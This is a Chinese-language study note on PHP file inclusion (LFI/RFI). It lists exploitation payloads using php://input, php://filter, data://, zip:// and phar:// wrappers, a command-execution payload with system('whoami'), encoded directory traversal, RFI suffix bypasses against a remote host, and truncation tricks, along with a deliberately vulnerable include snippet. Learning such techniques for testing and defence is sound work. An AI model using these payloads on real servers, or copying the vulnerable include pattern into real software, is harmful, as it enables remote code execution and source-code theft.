文件包含漏洞

[TOC]

1.文件包含相关函数

​ include(),include_once(),require(),require_once()

  • require()函数如果在包含的时候有错,如文件不存在,会直接退出,不执行后面的语句
  • include()函数如果在包含的时候有错,如文件不存在,不会直接退出,会执行后面的语句
  • *_once()与*()的作用类似,如果一个文件已经被包含,则*_once()不会再包含它,避免函数重新定义或者变量重新赋值等

​ 用这几个函数包含文件时,无论什么类型的文件,都会当做php文件进行解析。

​ 分类:

  • LFI(Local File Inclusion)

  • RFI(Remote File Inclusion)

    利用条件较为苛刻,allow_url_fopen = on,all_url_include = on

    两个配置选项均需on,才能远程包含文件成功。

2.文件包含漏洞的利用方式–伪协议

协议 测试版本 allow_url_fopen all_url_include 用法
file:// >=5.2 off/on off/on ?file=file://D:/phpstudy/WWW/phpcode.txt
php://filter >=5.2 off/on off/on ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input >=5.2 off/on on ?file=php://input [POST DATA]
zip:// >=5.2 off/on off/on ?file=zip://D:/phpstydy/WWW/file.zip#phpcode.txt
data:// >=5.2 on on ?file=data://text/plain, [OR]?file=data://text/plain;base64,[base64编码] [oR]?file=data:text/plain, [OR]?file=data:text/plain;base64,[base64编码]

php://filter 是一种元封装器,设计用于数据楼打开是的筛选过滤应用

data:// 同样类似于php://input,可以让用户控制输入流

php://input可以访问请求的原始数据的制度刘,将post请求的数据当做PHP代码执行

phar://xxxx.png/shell.php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压

之后的测试代码

<?php
    $file = $_GET['file'];
    include $file;
	highlight_file(__FILE__);
?>
//www目录
    //有a.txt,<?php phpinfo();?>
    //有a.zip,里面含a.txt

php://input

​ 利用条件:

​ allow_url_include=on,allow_url_fopen不做要求

姿势:
/?file=php://input
[post]
<?php phpinfo();?>

php://filter

​ 利用条件:上面的那两个配置文件选项都不做要求

姿势
/?file=php://filter/read=convert.base64-encode/resource=a.txt
/?file=php://filter/convert.base64-encode/resource=a.txt

​ 通过指定末尾的文件,可以读取经base64加密后的文件源码,虽然不能获取shell,但危害也挺大。

phar://

​ 利用条件:PHP版本>=5.3.0

假设有个a.zip压缩包,里面有个a.txt里面有<?php phpinfo();?>
/?file=phar://a.zip/a.txt
绝对相对路径都OK

zip://

利用条件:

​ PHP版本>=5.3.0

​ 需要绝对路径,同时编码#为%23

/?file=zip://D:\wamp64\www\a.zip%23a.txt
//如果使用相对路径,包含会失败。

data://

利用条件:

​ 1.PHP版本大于5.2

​ 2.allow_url_fopen=on

​ 3.allow_url_include=on

姿势一:
	/?file=data:text/plain,<?php phpinfo();?>
	/?file=data:text/plain,<?php system('whoami')?>
姿势二:
	/?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
	+号的URL编码%2b,base64解码为<?php phpinfo();?>

3.绕过

正常平台不可能直接是 include $_GET['file']; 这么简单,一般会指定前后缀

指定前缀

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

目录遍历

​ 假设/var/log/test.txt中有代码

/?file=../../log/test.txt

​ 服务器会对../等做过滤,可以用编码来绕过

利用url编码
	../
		%2e%2e%2f
		..%2f
		%2e%2e/
	..\
		%2e%2e%5c
		..%5c
		%2e%2e\
二次编码
	../
		%252e%252e%252f
	..\
		%252e%252e%255c

指定后缀

测试代码:
<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

URL

URL: protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在RFI中,可以利用query或fragment来绕过

姿势一:query(?)
/?file=http://xxxx/info.txt?

则包含的文件为 http://xxxx/info.txt?/test/test.php

问号后面的 /test/test.php 被当做query后缀而被绕过

姿势二:fragment(#)
/?file=http://xxxx/info.txt%23

则包含的文件为 http://xxxx/info.txt#/test/test.php

##后面的 /test/test.php 被当做query后缀而被绕过,需要将#编码为%23

利用协议

测试代码:
<?php
    $file = $_GET['file'];
    include $file."phpinfo.txt";
?>
zip://
  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt
phar://
  • [访问参数] ?file=phar://xx.zip/phpinfo
  • [拼接后]  ?file=phar://xx.zip/phpinfo.txt

Example: 目录中有a.zip压缩包,内含a.txt,其中包含代码 构造payload为:

?file=zip://D:\phpstudy\www\a.zip%23a.txt
?file=phar://../../a.zip/a.txt

长度截断

一共有三种:../ ./ 和.(点号)

Windows 256,Linux 4096

利用条件:php版本<5.2.8

只要./不断重复(),则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

/?file=././..........././shell.txt

00截断

利用条件:

php版本<5.3.4

/?file=phpinfo.txt%00
0%